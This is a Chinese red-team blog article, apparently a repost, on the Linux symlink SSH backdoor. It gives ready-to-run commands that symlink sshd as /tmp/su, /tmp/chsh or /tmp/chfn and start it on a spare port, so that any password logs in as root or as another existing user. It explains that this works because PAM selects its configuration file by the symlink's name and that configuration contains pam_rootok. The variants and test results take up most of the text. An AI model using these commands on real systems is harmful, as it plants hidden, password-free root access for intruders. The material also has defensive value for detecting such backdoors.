1. 首页
  2. 红队技术

Linux软连接ssh后门之我见

0x00 前言

学习了Sevck发表Linux软连接后门的《一条命令引发的思考》,还是存在几个疑惑点,仔细探究之后就有了这篇文章

0x01简单回顾

一、Linux经典软连接后门命令
1.在被控制端执行:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345建立sshd的软连接
2.本地客户端执行:
ssh root@x.x.x.x -p 12345接着输入任意密码就可以root用户权限登陆了
实际测试中发现,如果root用户被禁止登陆时此方式不能直接登陆,但是可以利用其他存在的用户身份登陆,如:
ssh ubuntu@x.x.x.x -p 12345接着输入任意密码就可以ubuntu用户权限登陆了
二、后门原理
在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0(root)即可成功认证登陆

0x02疑惑与探究

1.不建立链接直接启动/usr/sbin/sshd是否也能任意密码登陆
针对这个疑惑很容易验证,被控端执行命令

/usr/sbin/sshd -oport=12345
Linux软连接ssh后门之我见

客户端ssh root:任意密码@x.x.x.x 12345登录失败
实践结果表明不能通过直接启动/usr/sbin/sshd,默认使用/etc/pam.d/sshd的pam配置文件,因而不能建立任意密码登录的后门
2.sshd是否允许PAM认证对后门是否有影响
修改/etc/ssh/sshd_config修改设置UsePAM no

实践表明通过软连接文件名指定ssh的pam配置文件为hacker,只要文件中包含auth sufficient pam_rootok.so即可无密码登陆
最后在etc/pam.d/目录下查找包含pam_rootok.so配置的文件

find ./ |xargs grep “pam_rootok”

在笔者的测试环境下还有”chsh”、”chfn”包含pam_rootok.so
被控端执行:

ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12346
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12347

客户端ssh root:任意密码@x.x.x.x 12346仍然认证成功
客户端ssh root:任意密码@x.x.x.x 12347仍然认证成功

Linux软连接ssh后门之我见

0x03小结

  1. Linux软连接ssh后门需要ssh配置允许PAM认证才能使用
  2. 如果被控主机不允许root登陆可用其他已存在用户登陆
  3. 通过软连接的方式,实质上PAM认证是通过软连接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)
  4. 任意密码登陆的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可SSH任意密码登陆,实践表明,可成功利用的PAM配置文件除了su还有chsh、chfn

本文来自http://blackwolfsec.cc/2017/03/24/Linux_ssh_backdoor/,经授权后发布,本文观点不代表立场,转载请联系原作者。

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息